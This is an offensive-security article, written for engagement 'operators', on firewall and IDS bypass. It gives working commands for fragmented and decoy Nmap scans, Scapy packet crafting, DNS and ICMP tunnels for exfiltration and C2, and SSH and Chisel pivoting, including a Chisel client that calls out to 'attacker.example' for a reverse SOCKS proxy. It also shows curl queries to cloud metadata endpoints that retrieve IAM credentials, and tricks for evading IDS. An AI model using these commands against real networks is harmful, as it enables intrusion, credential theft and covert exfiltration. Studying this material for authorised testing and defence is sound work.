Firewall bypass: what still works on the wire in 2026

Firewalls block most of the obvious things and miss many of the subtle ones. The modern picture is more nuanced than the textbook three-tier (packet filtering / stateful inspection / application-layer) framework suggests, because the bypass moves an operator reaches for on a real engagement target the gaps between layers rather than any single layer’s weaknesses. The techniques below are the ones that still produce results in 2026, with notes on where they still work and where the firewall vendors have caught up.

See also advanced network security and IPS evasion and IoT-network attack surface for deeper coverage of adjacent topics.

Fragmentation and decoy scanning

#

The oldest firewall-evasion technique still works in narrow circumstances. If a firewall doesn’t reassemble IP fragments before applying its inspection rules (stateless or misconfigured stateful), an attacker can fragment a packet so that the bytes the firewall would inspect are split across fragments, and the destination host reassembles them normally.

Nmap’s -f (8-byte fragments) and -ff (16-byte) flags are the standard delivery vehicle:

# Fragment the IP header into 8-byte pieces
sudo nmap -f -sS target_ip

# Custom MTU for explicit control
sudo nmap --mtu 24 -sS target_ip

For more aggressive fragmentation patterns (overlap, duplication, deliberate reordering), fragroute rewrites egress traffic according to a config file:

# fragroute.conf
ip_frag 8
ip_chaff dup
order random
print

sudo fragroute -f fragroute.conf target_ip

These work against stateless filters and against IDS implementations that don’t reassemble streams correctly. They do not work against any modern next-gen firewall or any IPS that reassembles before inspection, which is most of them in 2026.

Decoy scanning mixes traffic from spoofed source IPs into the scan to make attribution harder:

sudo nmap -D RND:10,192.168.1.5,10.0.0.1 -sS target_ip

The firewall sees scans originating from ten apparent sources and the analyst has to figure out which one is real. Modern SIEM correlation against established baselines catches this fairly quickly, but it still adds noise to the response timeline.

Custom packet crafting

#

When standard tools have signatures, building the packets yourself avoids the signature. Scapy is the canonical Python option for this kind of work:

from scapy.all import IP, TCP, fragment, send, RandShort

ip = IP(dst="192.168.1.100")
tcp = TCP(sport=RandShort(), dport=80, flags="S", seq=12345)
payload = "GET / HTTP/1.0\r\n\r\n"

# Manual fragmentation
frags = fragment(ip / tcp / payload, fragsize=16)

for f in frags:
    send(f)

The point isn’t that this example does anything an off-the-shelf tool can’t. The point is that signature-based detection of “Nmap scan” or “Masscan scan” doesn’t fire on hand-rolled packets that don’t match either tool’s calling pattern. Custom Scapy work shows up in operator toolkits when the obvious tools get blocked.

Tunneling out

#

Once you have a foothold on a host inside the perimeter, the work is exfiltrating data, maintaining C2, and pivoting to other hosts despite the perimeter firewall’s outbound restrictions. The standard tools:

DNS tunneling

#

DNS is one of the protocols enterprise networks rarely block outbound, because internal name resolution needs it. Two tunneling tools are still in current use:

iodine tunnels IPv4 over DNS queries. Requires a domain the operator controls and a server running the iodine daemon. Slow (DNS isn’t designed for throughput) but reliable.

# Server (your DNS-delegated domain)
sudo iodined -f -c -P password 10.0.0.1 t.mydomain.com

# Client (inside the target network)
sudo iodine -f -P password t.mydomain.com

dnscat2 is the C2-focused option. Encrypted command channel over DNS, designed for operator use rather than as a generic IP tunnel.

# Server
ruby ./dnscat2.rb --dns domain=c2.example.com

# Client
./dnscat --dns domain=c2.example.com

Modern DNS-monitoring tools (Cisco Umbrella, Infoblox, Cloudflare Gateway) flag both based on traffic volume, query patterns, and the TXT record structure. The technique works against environments without DNS inspection and gets noisy quickly against ones that have it.

ICMP tunneling

#

If outbound ping is allowed, you can put data in ICMP Echo Request and Reply payloads. Hans and ICMPTX are the standard tools.

# Hans server
sudo hans -s 10.1.2.0 -p password

# Hans client
sudo hans -c server_ip -p password

This creates a TUN interface on both ends so the operator can route any IP traffic through it. As with DNS, modern egress monitoring tools flag ICMP volume that exceeds normal patterns, which is most non-trivial usage.

SSH dynamic port forwarding

#

If you have SSH access to a pivot host (yours or compromised), SSH’s -D flag is the cheapest tunnel that exists. It creates a SOCKS proxy on the operator’s localhost that routes through the SSH connection to the pivot’s network position:

ssh -D 1080 -N -f user@pivot_host

ProxyChains then routes other tools through that proxy:

# /etc/proxychains4.conf
[ProxyList]
socks5 127.0.0.1 1080

proxychains nmap -sT -p 445 192.168.1.0/24

This works as long as outbound SSH (port 22, or whatever you’ve moved sshd to) reaches your pivot. Modern environments increasingly inspect SSH or block it outbound to arbitrary destinations.

Chisel and Ligolo-ng

#

The modern operator tunneling stack:

Chisel is a Go-based TCP-over-HTTP/websocket tunneler. Works over HTTP(S), supports reverse tunnels, encrypted internally. Useful when SSH is blocked but HTTPS isn’t (which is most enterprise environments).

# Server (attacker side, exposed)
./chisel server -p 8000 --reverse

# Client (compromised host inside the network)
./chisel client attacker.example:8000 R:socks

This creates a reverse SOCKS proxy: the compromised host reaches outbound to your server and exposes a SOCKS proxy on your server’s local port. From your attacker host, you scan the internal network as if you were sitting on the compromised host.

Ligolo-ng is the higher-end option. Go-based, TUN-interface tunneling using gVisor’s netstack and yamux multiplexing. Faster than SOCKS proxies for heavy scans because it’s a real Layer 3 tunnel rather than per-connection forwarding. The modern default for serious pivoting work, ahead of Chisel for the use cases where throughput matters.

Application-layer bypass

#

Where Layer 3/4 evasion fails, the application layer often has a path. The general pattern: dress your traffic up as something the firewall trusts and let it through under that disguise.

HTTP CONNECT for category-trusted destinations. Many enterprise outbound proxies (BlueCoat, Trellix Web Gateway, McAfee Web Gateway, Zscaler) decide what to allow based on URL categorization. Categories like “Financial Services,” “Business,” and “Government” are routinely whitelisted because blocking them creates user complaints. An attacker who acquires an expired domain that’s still categorized as one of the trusted categories can route C2 traffic through that domain over HTTPS, and the proxy will let it through after a CONNECT handshake without inspecting the encrypted tunnel inside.

The acquisition step is the tradecraft. Services like ExpiredDomains.net plus the major categorization-vendor lookup APIs (BlueCoat’s WebFilter Sitelookup, Talos’s domain reputation, Webroot’s BrightCloud) let an operator filter for domains that are still favorably categorized. The pre-engagement work is “find an expired domain that’s still classified as Finance,” and the on-engagement work is registering it and pointing C2 at it.

Domain fronting was the related technique that died. Domain fronting used a CDN-hosted SNI value for one domain while putting a different value in the inner HTTP Host header, so the firewall and the CDN edge saw different destinations. Cloudflare, AWS CloudFront, Google Cloud, and Azure all explicitly blocked the technique between 2018 and 2020, mostly after Telegram and Signal’s high-profile use of it for censorship circumvention. Smaller CDNs still allow it in edge cases, but the canonical “front through CloudFront to your AWS-hosted C2” doesn’t work anymore.

The post-fronting evolution is Encrypted Client Hello (ECH), which encrypts the SNI so a firewall can’t see which domain the connection is for at all. Cloudflare deployed ECH in 2023; uptake at other CDNs has been slower. ECH meaningfully complicates SNI-based filtering when it lands, but in 2026 most enterprises haven’t seen enough ECH traffic to have policies around it.

Cloud firewall specifics

#

Cloud security groups operate on different assumptions than perimeter firewalls and have their own bypass surface.

Instance Metadata Service (IMDS) abuse. Any compromised cloud workload can query its own metadata service, which hands back IAM credentials, instance metadata, and (depending on configuration) network position. The classic IMDSv1 endpoint:

# AWS IMDSv1 (legacy, still on many older instances)
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

# AWS IMDSv2 (default since 2020 for new instances, requires a session token)
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
  http://169.254.169.254/latest/meta-data/iam/security-credentials/

AWS made IMDSv2 the default for new instances in 2020 and added an option to require it organization-wide in 2023; AWS announced a phased push to make IMDSv2 the only option for new instances through 2025-2026. IMDSv1 lives on in older instances that haven’t been migrated, and a Capital One-style SSRF (their 2019 breach used exactly this primitive) still works against any cloud workload that exposes a request-forwarding bug.

The corresponding bypass primitives in Azure (169.254.169.254/metadata/instance?api-version=...) and GCP (metadata.google.internal/computeMetadata/v1/) work the same way with platform-specific headers.

IDS/IPS evasion

#

Network IDS/IPS (Snort, Suricata, Zeek) sit alongside the firewall and apply signature plus behavior rules. The classic evasion techniques still work against weaker setups.

Timing. Nmap’s -T0 (Paranoid timing) sends one probe every 5 minutes. Rate-based detection rules that fire on “100 connections in 60 seconds” don’t see this as a scan; they see it as background noise. Useful against networks that have rate-based but not behavioral detection, which is more environments than vendor marketing would suggest.

Session splicing. Fragment the malicious application-layer payload across multiple TCP segments small enough that no individual segment contains a complete signature match. The IDS has to reassemble the stream perfectly to catch this. Most modern IDS engines do reassemble, but timing-sensitive reassembly bugs in older deployments are still findable.

Invalid checksum injection. Send packets with deliberately bad TCP checksums containing attack payloads. The IDS (running in promiscuous mode) sees and may alert on them; the destination kernel drops them on checksum validation and never processes the data. This generates analyst noise without actually attacking the target. Useful for creating false-positive fatigue ahead of a real attack run.

TTL games. Send a packet with TTL low enough to die between the IDS and the target. The IDS sees the packet and processes it; the target never receives it. Follow up with the real payload. Same false-positive-fatigue concept executed at Layer 3.

These techniques work against IDS deployments that don’t reassemble streams, don’t validate checksums during inspection, and don’t account for TTL skew between the inspection point and the protected host. Most modern deployments handle these correctly; the gaps tend to live in legacy installs, sensor placement issues, and misconfigured policies.

Pivoting after a foothold

#

Past the perimeter, the work is reaching the next host or the next network segment.

SSH local port forwarding (-L) forwards a port on the operator’s machine to a port reachable from the pivot host:

ssh -L 8080:internal-web.corp:80 user@pivot-host

Accessing localhost:8080 now hits the internal web service the pivot can reach.

SSH remote port forwarding (-R) exposes a port on the pivot back to the operator’s listener:

ssh -R 4444:localhost:4444 user@pivot-host

Connections to the pivot’s port 4444 land on the operator’s listener. The standard move for catching reverse shells through NAT.

Chisel and Ligolo-ng scale the same idea up. Chisel works over HTTP(S) where SSH is blocked. Ligolo-ng works at Layer 3 where you need an actual VPN-shaped tunnel for tooling that breaks under SOCKS.

What modern next-gen firewalls do

#

The reason most textbook bypass techniques don’t work against current Palo Alto, Cisco Firepower, Fortinet, or Check Point deployments is that those products do deep packet inspection, reassemble streams before applying rules, perform TLS interception (with client certificates pushed by MDM on managed endpoints), and apply machine-learning classification to traffic that doesn’t match a known protocol fingerprint. They also enforce egress allowlists by application and identity rather than just by port and protocol.

The operator response in 2026 isn’t really technique-side; it’s environment-side. The bypass that works is the one tuned to what the specific target has actually deployed and how they’ve actually configured it. The reconnaissance step that finds out which firewall product is in front of the target and how it’s configured is worth more than any specific evasion technique catalog. A misconfigured Palo Alto is easier to bypass than a well-configured Snort; the misconfiguration is where most successful operator work happens.

Where this leaves things

#

Firewall bypass in 2026 is mostly a story about misconfigurations. Stateless firewalls that miss fragmentation, stateful firewalls without application-layer inspection that miss protocol tunneling, NGFWs with overly permissive rules that miss what they’re capable of catching, IDS deployments with stream reassembly that doesn’t account for edge cases. The techniques themselves haven’t changed much in fifteen years; what’s changed is which targets still have the misconfigurations that make the techniques work.

The operator skill is reconnaissance and adaptation more than memorizing the technique catalog. A solid understanding of how each layer of a target’s network plumbing actually decides what to allow lets you find the gap in the policy that the techniques exploit.